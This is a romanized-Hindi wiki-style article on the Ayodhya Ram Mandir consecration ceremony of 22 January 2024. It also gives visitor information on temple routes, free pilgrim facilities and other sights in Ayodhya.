[[chitr:Ayodhya-Ram-Mandir-Pran-Pratishtha.jpg|thumb|250px|pran pratishtha mean mukhy yajaman bane narendr modi]] ram mandir pran pratishtha ka karyakram 22 janavari, 2024 ko ayodhya mean ayojit kiya gaya. is karyakram ka ayojan 'shriram janmabhoomi tirth kshetr' dvara kiya gaya tha. isamean shriram ke baly svaroop (ramalala) ke vigrah ki pran pratishtha ki gee. ram mandir ka abhishek samaroh bharatiy samayanusar dopahar 12:15 baje shuroo hua aur 22 janavari, 2024 ko dopahar 12:45 baje samapt hua. bharat ke pradhanamantri nareandr modi ko is samaroh ke mukhy yajaman ke roop mean chuna gaya tha. isake lie unhoanne 11 dinoan tak vishesh vrat ka palan kiya, jisamean unhoanne keval nariyal ka pani piya aur pharsh par soe. [[chitr:Ram-Murti-in-Ram-Mandir-Ayodhya-2.jpg|thumb|250px|left|ram mandir mean poojan karate pradhanamantri narendr modi]] pran pratishtha se poorv 15 janavari (makar sankranti) se hi vibhinn karyakram shuroo ho ge the. pran pratishtha ke liye uttar pradesh sarakar ne 100 karo d roopaye nirdharit kiye the. 22 janavari ko kee pradeshoan mean vidyalayoan mean chhutti di gayi thi. pradhanamantri narendr modi ne desh ki janata se ahvan kiya tha ki 22 janavari, 2024 ko sabhi apane gharoan par diye jalayean. karyakram mean modi samet sinema jagat ke kee janemane kalakar evan kul 6000 viviaeepi shamil hue.

ramalala ki pran pratishtha, mesh lagn aur abhijit muhoort mean huee. kashi ke saangved vidyalay ke prachary ganeshvar shastri dravi d ne ye adbhut muhoort nikala. pran pratishtha ka muhoort 12 bajakar 29 minat 08 sekeand se 12 bajakar 30 minat 32 sekeand ke bich raha, jo kul milakar 84 sekeand ka tha. isi mean ramalala pratishthit kar die ge.

ram mandir ke garbhagrih ko 81 kalashoan ke jal se jinhean alag-alag nadiyoan ke jal se ikattha kiya gaya tha, unase pavitr kiya gaya. pran pratishtha ke sath hi 22 janavari, 2024 ka din hamesha ke liye bharatiy itihas hi nahian balki vishv itihas mean bhi vishesh ho gaya. isake sath hi pradhanamantri nareandr modi, moortikar arun yogiraj ka nam bhi is tithi aur mandir ke sath ju d gaya.

yatri suvidhaean

ramalala ki pran pratishtha 22 janavari, 2024 ko saphalatapoorvak poorn ho gee. ayodhya nagari aj vishv patal par apani sanskriti ka parichay de rahi hai. sabhi ram bhakt ab ayodhya ane ke lie vyakul haian. ayodhya mean agar bhagavan ram ke mandir mean akar unake darshan karana chahate haian aur ayodhya ane ka man bana liya hai to apako janakari honi chahiye ki ayodhya mean ramalala ke darshan karane ke lie ane vale darshanarthiyoan ke lie ramajanmabhoomi tirth kshetr trast ki taraph se kuchh mupht suvidhaean upalabdh karaee jati haian.

mandir darshan hetu do mukhy marg

ayodhya mean agar ap ram mandir akar prabhu ke darshan karana chahate haian to usake do mukhy marg haian. pahala marg hai- bhakti path aur doosara hai- ram path marg. bhakti path marg se ane par apako raste mean hanumanagadhi, dasharath mahal, raj dvar mandir dikh jaeange. vahian ram path marg sidha rasta ram mandir ki or le jata hai. ram path marg par lagabhag 500 mitar chalana p dega. usake bad apako ramalala ke darshan ka saubhagy prapt hoga.

mupht suvidhaean

ram mandir darshan karane jate haian to apako ram path marg par ramajanmabhoomi tirth kshetr trast ke suvidha keandr bahar hi dikh jaeange. jahaan par mupht milane vali suvidhaoan ke bare mean likha hua hai. yadi poochhatachh karani ho to vahaan kauantar par ap darshan se sanbandhit poochhatachh kar sakate haian. ram mandir jane vale darshanarthiyoan ke lie ramapath marg par pani pine ki mupht suvidha upalabdh hai. darshan karane se pahale apako apana phon bahar rakhana hota hai. isake lie phri l aaukar suvidha upalabdh hai. jisamean ap apana phon samet any jaroori chijean rakh sakate haian. isi ke sath apako vahaan v aausharoom ki suvidha aur aram karane ke lie ramapath marg par bane tin shed ki suvidha bhi mil jaegi. jahaan ap baithakar kuchh der ke lie aram kar sakate haian.

vriddh aur vikalaang log yadi darshan karane ja rahe haian aur chalane mean asamarth haian to un logoan ke lie mupht mean vhilacheyar ki suvidha bhi hai. yadi ap vhilacheyar chalak lete haian to usaka nirdharit shulk apako dena hoga. isi ke sath ramapath marg par pravesh karate hi trast ke suvidha keandr ke bahar ki taraph apako mupht homyopethi chikitsa ki suvidha bhi mil jaegi.

aur kya dekhean

yadi ayodhya ghoomane ki yojana bana rahe haian to ram mandir ke alava ayodhya mean aur bhi kee jagahoan par ghoomane ki yojana kar sakate haian. ayodhya mean kam bajat mean bhi kee sthanoan par ghooma ja sakata hai.

kanak bhavan

yah bhavan ayodhya ke behatarin aur prasiddh mandiroan mean se ek hai. aisa mana jata hai ki yah bhavan bhagavan shriram se vivah ke turant bad maharani kaikeyi dvara sita ko upahar mean diya gaya tha. yah devi sita aur bhagavan ram ka niji mahal hai.

gulababa di

gulababa di shahar ke sabase suandar bagichoan mean se ek hai. ek b de bhoo-bhag mean phaile is sthal ki hariyali logoan ko sammohit karati hai. avadh ke tisare navab shuja-ud-daula aur unake parijanoan ki yahaan samadhi bani huee hai. yahaan shanadar makabara hai, jo vishal divaroan se ghira hua hai. 8vian sadi mean is bagiche mean rangin gulab ki kee kismean lagaee gee thian.

bahoo begam ka makabara

ayodhya sthit bahoo-begam ke makabare ko 'poorvaanchal ka tajamahal' kaha jata hai. ise avadh ke tisare navab shujauddaula ne kee sal pahale apani patni ki yad mean banavaya tha.

nageshvaranath mandir

aisa kaha jata hai ki nageshvaranath mandir ko ram ke putr kush ne banavaya tha. mana jata hai jab kush sarayoo nadi mean naha rahe the to unaka bajooband kho gaya tha. bajooband ek nag kanya ko mila, jise kush se prem ho gaya. vah shiv bhakt thi. kush ne usake lie yah mandir banavaya tha.

tulasi smarak bhavan

tulasi smarak mahan sant kavi gosvami tulasidas ko samarpit hai. niyamit roop se yahaan prarthana, bhakti sangit aur dharmik pravachan ayojit hote haian. parisar mean sthit 'ayodhya shodh sansthan' ke pas gosvami tulasidas par sahityik rachanaoan ka ek b da bhandar hai.

hanumanagadhi

ayodhya ka hanumanagadhi kaphi prasiddh hai. yahaan ek gufa hai jisako lekar kaha jata hai ki yahaan hanuman virajate haian. yahaan jakar kaphi shaanti ka ahasas hota hai.

sarayoo ghat

ayodhya mean ram mandir darshan ke bad sarayoo ghat par jaroor jana chahie. yah sarayoo nadi ke tat par maujood hai. ramanavami, dipavali, vijayadashami jaise parv par yahaan hajaroan ki sankhya mean log ate haian.

moti mahal

yah mahal phaijabad mean ek smarak hai, jisaka aitihasik aur saanskritik mahatv hai. moti mahal ko aksar 'parl pailes' kaha jata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

vithika

• chitr:Ram-Mandir-in-Ayodhya-1.jpg

  mandir ki phooloan se sajavat

• chitr:Ram-Mandir-Ayodhya-3.jpg

  ram mandir ki bhavyata

• chitr:Ram-Mandir-Ayodhya-2.jpg

  ram mandir ki phooloan se sajavat

• chitr:Ram-Mandir-Ayodhya-10.jpg

  pran pratishtha ke din upasthit amitabh bachchan, abhishek bachchan, mukesh aanbani

• chitr:Ram-Mandir-Ayodhya-4.jpg

  mandir ki manamohak susajja

• chitr:Ram-Murti-Ram-Mandir-Ayodhya-5.jpg

  shriram ki akarshak chhavi

• chitr:Ram-Mandir-Ayodhya-5.jpg

  ayodhya ram mandir ki suandar chhavi

• chitr:Ram-Mandir-Ayodhya-9.jpg

  ram mandir ki bhavyata

• chitr:Ram-Mandir-Ayodhya-6.jpg

  mandir ki phooloan se adbhut sajja

• chitr:Ram-Mandir-Ayodhya-7.jpg

  mandir ka mukhy dvar

• chitr:Ram-Murti-Ram-Mandir-Ayodhya-1.jpg

  shriram ki manamohak chhavi

• chitr:Ram-Mandir-Ayodhya-8.jpg

  mandir ki manamohak chhavi

• chitr:Ram-Murti-Ram-Mandir-Ayodhya-8.jpg

  poojan karate pradhanamantri narendr modi

• chitr:Ram-Murti-Ram-Mandir-Ayodhya-7.jpg

  mandir mean shriram

• chitr:Ram-Murti-Ram-Mandir-Ayodhya-6.jpg

  ram mandir, ayodhya

bahari k diyaan

• ram mandir: mahattvapoorn tathy, nirman sanbandhi pahaloo aur any visheshataean
• janiye shriram janm bhoomi ayodhya ka itihas
• ram mandir ki kahani
• ayodhya mean ram mandir banane aur aantim bar to de jane tak ka itihas

sanbandhit lekh

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